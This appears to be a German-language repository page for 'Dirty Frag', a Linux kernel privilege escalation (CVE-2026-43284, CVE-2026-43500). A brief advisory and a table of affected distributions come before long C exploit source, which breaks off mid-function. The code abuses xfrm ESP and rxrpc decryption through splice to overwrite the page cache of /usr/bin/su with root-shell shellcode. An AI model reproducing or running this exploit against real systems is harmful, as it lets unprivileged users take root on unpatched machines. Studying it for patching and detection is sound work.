lucaspdiniz/cve-2026-43284Dirty Frag - kritische Sicherheitslücke im Linux-Kernel
Die Exploit-Kette, klassifiziert als Local Privilege Escalation (LPE), ermöglicht es einem unprivilegierten Benutzer, Root-Zugriff auf praktisch alle modernen Linux-Distributionen zu erlangen, die Kernel ausführen, die seit 2017 veröffentlicht wurden, was etwa neun Jahre an Versionen umfasst. Die Ausnutzung erfolgt über den In-Place-Entschlüsselungspfad der Module esp4, esp6 und rxrpc und beschädigt den Kernel-Page-Cache durch Standard-Syscalls wie splice(2) und sendmsg(2), wobei weder Benutzerinteraktion noch ein Remote-Angriffsvektor erforderlich ist.
Die beiden Teil-Schwachstellen sind:
xfrm-ESP Page-Cache Write - CVE-2026-43284, im IPsec-ESP-Eingangspfad. Am 7. Mai 2026 in den netdev-Baum übernommen und am 8. Mai 2026 als Commit f4c50a4034e6 (öffnet in neuem Tab) in den Mainline-Kernel aufgenommen.
RxRPC Page-Cache Write - CVE-2026-43500 reserviert, im AFS-RxRPC-Verify-Pfad. Zum Zeitpunkt der Offenlegung existiert in keinem Zweig ein Patch.
| Distribution | Betroffene Versionen | CVE-2026-43284 (ESP) | CVE-2026-43500 (RxRPC) | Patch-Status |
|---|---|---|---|---|
| RHEL | 8, 9, 10 | ✅ Betroffen | ✅ Betroffen | Gepatcht |
| AlmaLinux | 8, 9, 10 | ✅ Betroffen | ⚠️ Nur 9 und 10¹ | Gepatcht |
| Rocky Linux | 8, 9, 10 | ✅ Betroffen | ✅ Betroffen | Gepatcht |
| CentOS | 8 | ✅ Betroffen | ✅ Betroffen | Gepatcht |
| CloudLinux | 7 Hybrid, 8, 9, 10 | ✅ Betroffen | ✅ Betroffen | Gepatcht |
| Oracle Linux | RHCK / UEK betroffen | ✅ Betroffen | ✅ Betroffen | Gepatcht |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ Betroffen | ✅ Betroffen | Gepatcht |
| Debian | Bullseye, Bookworm, Trixie | ✅ Betroffen | ✅ Betroffen | Gepatcht (zuerst sid) |
| Fedora | Aktuelle Releases | ✅ Betroffen | ✅ Betroffen | Gepatcht |
| Arch Linux | Rolling | ✅ Betroffen | ✅ Betroffen | Gepatcht |
| Amazon Linux | 2, 2023 | ✅ Betroffen | ✅ Betroffen | Gepatcht |
| Proxmox VE | Aktuelle Releases | ✅ Betroffen | ✅ Betroffen | Gepatcht |
Betroffen: Linux-Kernel ≥ 4.14 (seit Jan. 2017) · Alle großen Distributionen · Kein Remote-Vektor CVSS 3.1: 8.8 HOCH (CVE-2026-43284) · Offengelegt: 7. Mai 2026 · PoC öffentlich am Tag Null Forscher: Hyunwoo Kim (@v4bel)
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */
/*
setgid(0); setuid(0); setgroups(0, NULL);
execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
char buf[4096] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_type = XFRM_MSG_NEWSA;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_seq = 1;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));
struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
xs->id.daddr.a4 = inet_addr("127.0.0.1");
xs->id.spi = htonl(spi);
xs->id.proto = IPPROTO_ESP;
xs->saddr.a4 = inet_addr("127.0.0.1");
xs->family = AF_INET;
xs->mode = XFRM_MODE_TRANSPORT;
xs->replay_window = 0;
xs->reqid = 0x1234;
xs->flags = XFRM_STATE_ESN;
xs->lft.soft_byte_limit = (uint64_t)-1;
xs->lft.hard_byte_limit = (uint64_t)-1;
xs->lft.soft_packet_limit = (uint64_t)-1;
xs->lft.hard_packet_limit = (uint64_t)-1;
xs->sel.family = AF_INET;
xs->sel.prefixlen_d = 32;
xs->sel.prefixlen_s = 32;
xs->sel.daddr.a4 = inet_addr("127.0.0.1");
xs->sel.saddr.a4 = inet_addr("127.0.0.1");
{
char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
memset(alg_buf, 0, sizeof(alg_buf));
struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
aa->alg_key_len = 32 * 8;
aa->alg_trunc_len = 128;
memset(aa->alg_key, 0xAA, 32);
put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
}
{
char alg_buf[sizeof(struct xfrm_algo) + 16];
memset(alg_buf, 0, sizeof(alg_buf));
struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
ea->alg_key_len = 16 * 8;
memset(ea->alg_key, 0xBB, 16);
put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
}
{
struct xfrm_encap_tmpl enc;
memset(&enc, 0, sizeof(enc));
enc.encap_type = UDP_ENCAP_ESPINUDP;
enc.encap_sport = htons(ENC_PORT);
enc.encap_dport = htons(ENC_PORT);
enc.encap_oa.a4 = 0;
put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
}
{
char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
memset(esn_buf, 0, sizeof(esn_buf));
struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
esn->bmp_len = 1;
esn->oseq = 0;
esn->seq = REPLAY_SEQ;
esn->oseq_hi = 0;
esn->seq_hi = patch_seqhi;
esn->replay_window = 32;
put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
}
if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
char rbuf[4096];
int n = recv(sk, rbuf, sizeof(rbuf), 0);
if (n < 0) { close(sk); return -1; }
struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
if (rh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(rh);
if (e->error) { close(sk); return -1; }
}
close(sk);
return 0;
}
static int do_one_write(const char path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr("127.0.0.1") }, }; if (bind(sk_recv, (struct sockaddr)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } int sk_send = socket(AF_INET, SOCK_DGRAM, 0); if (sk_send < 0) { close(sk_recv); return -1; } if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_send); close(sk_recv); return -1; } int file_fd = open(path, O_RDONLY); if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
int pfd[2];
if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }
uint8_t hdr[24];
*(uint32_t*)(hdr + 0) = htonl(spi);
*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
memset(hdr + 8, 0xCC, 16);
struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
}
off_t off = offset;
ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
if (s != 16) {
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
}
s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
/* still proceed regardless of splice rc — kernel may have already
* decrypted the page in the time between splice and recv */
usleep(150 * 1000);
close(file_fd); close(pfd[0]); close(pfd[1]);
close(sk_send); close(sk_recv);
return s == 40 ? 0 : -1;
}
static int verify_byte(const char *path, off_t offset, uint8_t want) { int fd = open(path, O_RDONLY); if (fd < 0) return -1; uint8_t got; if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } close(fd); return got == want ? 0 : -1; }
static int corrupt_su(void) { setup_userns_netns(); usleep(100 * 1000);
/* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the
* desired payload word in its seq_hi field. */
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
uint32_t seqhi =
((uint32_t)shell_elf[i*4 + 0] << 24) |
((uint32_t)shell_elf[i*4 + 1] << 16) |
((uint32_t)shell_elf[i*4 + 2] << 8) |
((uint32_t)shell_elf[i*4 + 3]);
if (add_xfrm_sa(spi, seqhi) < 0) {
SLOG("add_xfrm_sa #%d failed", i);
return -1;
}
}
SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
off_t off = PATCH_OFFSET + i * 4;
if (do_one_write(TARGET_PATH, off, spi) < 0) {
SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
return -1;
}
}
SLOG("wrote %d bytes to %s starting at 0x%x",
PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
return 0;
}
int su_lpe_main(int argc, char *argv) { for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) g_su_verbose = 1; else if (!strcmp(argv[i], "--corrupt-only")) ; / compat: this body always corrupts only */ } if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
pid_t cpid = fork();
if (cpid < 0) return 1;
if (cpid == 0) {
int rc = corrupt_su();
_exit(rc == 0 ? 0 : 2);
}
int cstatus;
waitpid(cpid, &cstatus, 0);
if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
SLOG("corruption stage failed (status=0x%x)", cstatus);
return 1;
}
/* Sanity check: bytes at the embedded ELF entry (file offset 0x78
* after our overwrite) should be 0x31 0xff (xor edi, edi — first
* instruction of the new shellcode). */
if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
SLOG("post-write verify failed (target unchanged)");
return 1;
}
SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
ENTRY_OFFSET);
return 0;
} /*
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdarg.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <time.h> #include <sched.h> #include <poll.h> #include <signal.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/uio.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/rxrpc.h> #include <linux/keyctl.h> #include <linux/if_alg.h> #include <net/if.h> #include <termios.h>
#ifndef AF_RXRPC #define AF_RXRPC 33 #endif #ifndef PF_RXRPC #define PF_RXRPC AF_RXRPC #endif #ifndef SOL_RXRPC #define SOL_RXRPC 272 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef MSG_SPLICE_PAGES #define MSG_SPLICE_PAGES 0x8000000 #endif
/* ---- rxrpc constants ---- */ #define RXRPC_PACKET_TYPE_DATA 1 #define RXRPC_PACKET_TYPE_ACK 2 #define RXRPC_PACKET_TYPE_ABORT 4 #define RXRPC_PACKET_TYPE_CHALLENGE 6 #define RXRPC_PACKET_TYPE_RESPONSE 7 #define RXRPC_CLIENT_INITIATED 0x01 #define RXRPC_REQUEST_ACK 0x02 #define RXRPC_LAST_PACKET 0x04 #define RXRPC_CHANNELMASK 3 #define RXRPC_CIDSHIFT 2
struct rxrpc_wire_header { uint32_t epoch; uint32_t cid; uint32_t callNumber; uint32_t seq; uint32_t serial; uint8_t type; uint8_t flags; uint8_t userStatus; uint8_t securityIndex; uint16_t cksum; /* big-endian on wire */ uint16_t serviceId; } attribute((packed));
struct rxkad_challenge { uint32_t version; uint32_t nonce; uint32_t min_level; uint32_t __padding; } attribute((packed));
/* Attacker-chosen 8-byte session key used for the rxkad token.
#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##VA_ARGS) #define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##VA_ARGS) #define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##VA_ARGS)
/* =================================================================== / / unshare + map setup / / =================================================================== */
static int write_file(const char *path, const char *fmt, ...) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; char buf[256]; va_list ap; va_start(ap, fmt); int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); int r = (int)write(fd, buf, n); close(fd); return r; }
static int do_unshare_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno)); return -1; } LOG("unshare(USER|NET) OK, real uid=%u", real_uid); write_file("/proc/self/setgroups", "deny"); if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) { WARN("uid_map: %s", strerror(errno)); return -1; } if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) { WARN("gid_map: %s", strerror(errno)); return -1; } LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns", real_uid, real_gid);
/* ifup lo */
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s >= 0) {
struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, "lo");
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
WARN("SIOCSIFFLAGS lo: %s", strerror(errno));
else
LOG("lo brought UP in new netns");
}
close(s);
}
return 0;
}
/* =================================================================== / / rxrpc key (rxkad v1 token with attacker session key) / / =================================================================== */
static long key_add(const char *type, const char *desc, const void *payload, size_t plen, int ringid) { return syscall(SYS_add_key, type, desc, payload, plen, ringid); }
static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) { uint8_t *p = out; uint32_t now = (uint32_t)time(NULL); uint32_t expires = now + 86400; *(uint32_t )p = htonl(0); p += 4; / flags */ const char *cell = "evil"; uint32_t clen = strlen(cell); *(uint32_t *)p = htonl(clen); p += 4; memcpy(p, cell, clen); uint32_t pad = (4 - (clen & 3)) & 3; memset(p + clen, 0, pad); p += clen + pad; *(uint32_t )p = htonl(1); p += 4; / ntoken */ uint8_t *toklen_p = p; p += 4; uint8_t *tokstart = p; *(uint32_t )p = htonl(2); p += 4; / sec_ix = RXKAD */ *(uint32_t )p = htonl(0); p += 4; / vice_id */ *(uint32_t )p = htonl(1); p += 4; / kvno / memcpy(p, SESSION_KEY, 8); p += 8; / session_key K */ *(uint32_t *)p = htonl(now); p += 4; *(uint32_t *)p = htonl(expires); p += 4; *(uint32_t )p = htonl(1); p += 4; / primary_flag */ *(uint32_t )p = htonl(8); p += 4; / ticket_len / memset(p, 0xCC, 8); p += 8; / ticket */ uint32_t toklen = (uint32_t)(p - tokstart); *(uint32_t *)toklen_p = htonl(toklen); if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; } return (int)(p - out); }
static long add_rxrpc_key(const char *desc) { uint8_t buf[512]; int n = build_rxrpc_v1_token(buf, sizeof(buf)); if (n < 0) return -1; return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); }
/* =================================================================== / / AF_ALG pcbc(fcrypt) helpers / / =================================================================== */
static int alg_open_pcbc_fcrypt(const uint8_t key[8]) { int s = socket(AF_ALG, SOCK_SEQPACKET, 0); if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; } struct sockaddr_alg sa = { .salg_family = AF_ALG }; strcpy((char *)sa.salg_type, "skcipher"); strcpy((char *)sa.salg_name, "pcbc(fcrypt)"); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno)); close(s); return -1; } if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { WARN("ALG_SET_KEY: %s", strerror(errno)); close(s); return -1; } return s; }
/* Encrypt-or-decrypt a 1+ block of data with a given IV. */ static int alg_op(int alg_s, int op, const uint8_t iv[8], const void *in, size_t inlen, void *out) { int op_fd = accept(alg_s, NULL, NULL); if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; }
char cbuf[CMSG_SPACE(sizeof(int)) +
CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0};
struct msghdr msg = {0};
msg.msg_control = cbuf;
msg.msg_controllen = sizeof(cbuf);
struct cmsghdr *c = CMSG_FIRSTHDR(&msg);
c->cmsg_level = SOL_ALG;
c->cmsg_type = ALG_SET_OP;
c->cmsg_len = CMSG_LEN(sizeof(int));
*(int *)CMSG_DATA(c) = op;
c = CMSG_NXTHDR(&msg, c);
c->cmsg_level = SOL_ALG;
c->cmsg_type = ALG_SET_IV;
c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8);
struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c);
aiv->ivlen = 8;
memcpy(aiv->iv, iv, 8);
struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen };
msg.msg_iov = &iov; msg.msg_iovlen = 1;
if (sendmsg(op_fd, &msg, 0) < 0) {
WARN("AF_ALG sendmsg: %s", strerror(errno));
close(op_fd); return -1;
}
ssize_t n = read(op_fd, out, inlen);
close(op_fd);
if (n != (ssize_t)inlen) {
WARN("AF_ALG read got %zd want %zu: %s",
n, inlen, strerror(errno));
return -1;
}
return 0;
}
/* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security):
/* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342):
/* =================================================================== / / AF_RXRPC client / / =================================================================== */
static int setup_rxrpc_client(uint16_t local_port, const char *keyname) { int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; } if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, keyname, strlen(keyname)) < 0) { WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1; } int min_level = RXRPC_SECURITY_AUTH; if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, &min_level, sizeof(min_level)) < 0) { WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno)); close(fd); return -1; } struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = 0; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(local_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { WARN("client bind :%u: %s", local_port, strerror(errno)); close(fd); return -1; } LOG("AF_RXRPC client bound :%u", local_port); return fd; }
static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id, unsigned long user_call_id) { char data[8] = "PINGPING"; struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = service_id; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(srv_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
struct msghdr msg = {0};
msg.msg_name = &srx; msg.msg_namelen = sizeof(srx);
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
msg.msg_iov = &iov; msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_RXRPC;
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
*(unsigned long *)CMSG_DATA(cmsg) = user_call_id;
/* Don't block forever if no reply ever comes through this single sendmsg. */
int fl = fcntl(cli_fd, F_GETFL);
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
ssize_t n = sendmsg(cli_fd, &msg, 0);
fcntl(cli_fd, F_SETFL, fl);
if (n < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
LOG("client sendmsg returned EAGAIN (expected; kernel will keep "
"retrying handshake)");
return 0;
}
WARN("client sendmsg: %s", strerror(errno));
return -1;
}
LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)",
n, srv_port);
return 0;
}
/* =================================================================== / / fake-server (plain UDP) / / =================================================================== */
static int setup_udp_server(uint16_t port) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; } struct sockaddr_in sa = {0}; sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr.s_addr = htonl(0x7F000001); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { WARN("udp server bind :%u: %s", port, strerror(errno)); close(s); return -1; } LOG("plain UDP fake-server bound :%u", port); return s; }
/* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */ static ssize_t udp_recv_to(int s, void *buf, size_t cap, struct sockaddr_in *from, int timeout_ms) { struct pollfd pfd = { .fd = s, .events = POLLIN }; int rc = poll(&pfd, 1, timeout_ms); if (rc <= 0) return -1; socklen_t fl = from ? sizeof(*from) : 0; return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL); }
/* =================================================================== / / main PoC / / =================================================================== */
static int trigger_seq = 0;
static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len) { char keyname[32]; snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++);
long key = add_rxrpc_key(keyname);
if (key < 0) {
if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno));
return -1;
}
/* Use varying ports so kernel TIME_WAIT / stale state does not bite. */
uint16_t port_S = 7777 + (trigger_seq * 2 % 200);
uint16_t port_C = port_S + 1;
uint16_t svc_id = 1234;
int udp_srv = setup_udp_server(port_S);
if (udp_srv < 0) {
if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S);
syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); return -1;
}
int rxsk_cli = setup_rxrpc_client(port_C, keyname);
if (rxsk_cli < 0) {
if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname);
close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
}
if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) {
if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed");
close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
}
uint8_t pkt[2048];
struct sockaddr_in cli_addr;
ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500);
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) {
if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno));
close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
}
struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt;
uint32_t epoch = ntohl(whdr_in->epoch);
uint32_t cid = ntohl(whdr_in->cid);
uint32_t callN = ntohl(whdr_in->callNumber);
uint16_t svc_in = ntohs(whdr_in->serviceId);
uint16_t cli_port = ntohs(cli_addr.sin_port);
/* Send CHALLENGE */
{
struct {
struct rxrpc_wire_header hdr;
struct rxkad_challenge ch;
} __attribute__((packed)) c = {0};
c.hdr.epoch = htonl(epoch);
c.hdr.cid = htonl(cid);
c.hdr.callNumber = 0; c.hdr.seq = 0;
c.hdr.serial = htonl(0x10000);
c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE;
c.hdr.securityIndex = 2;
c.hdr.serviceId = htons(svc_in);
c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu);
c.ch.min_level = htonl(1);
struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port),
.sin_addr.s_addr=htonl(0x7F000001) };
if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) < 0) {
close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
}
}
/* Drain RESPONSE (best-effort) */
for (int i = 0; i < 4; i++) {
struct sockaddr_in src;
if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break;
}
/* csum + cksum with CURRENT SESSION_KEY */
uint8_t csum_iv[8] = {0};
if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) {
close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
}
uint16_t cksum_h = 0;
if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) {
close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
}
/* Build malicious DATA header */
struct rxrpc_wire_header mal = {0};
mal.epoch = htonl(epoch);
mal.cid = htonl(cid);
mal.callNumber = htonl(callN);
mal.seq = htonl(1);
mal.serial = htonl(0x42000);
mal.type = RXRPC_PACKET_TYPE_DATA;
mal.flags = RXRPC_LAST_PACKET;
mal.securityIndex = 2;
mal.cksum = htons(cksum_h);
mal.serviceId = htons(svc_in);
/* connect udp_srv → client port for splice */
struct sockaddr_in dst = { .sin_family=AF_INET, .sin_port=htons(cli_port),
.sin_addr.s_addr=htonl(0x7F000001) };
if (connect(udp_srv, (struct sockaddr*)&dst, sizeof(dst)) < 0) {
close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
}
/* pipe + vmsplice header + splice file → pipe → udp_srv */
int p[2];
if (pipe(p) < 0) {
close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
}
{
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail;
}
{
loff_t off = splice_off;
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
goto trig_fail;
}
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) {
goto trig_fail;
}
close(p[0]); close(p[1]);
/* recvmsg the malicious DATA into the kernel's verify_packet path */
int fl = fcntl(rxsk_cli, F_GETFL);
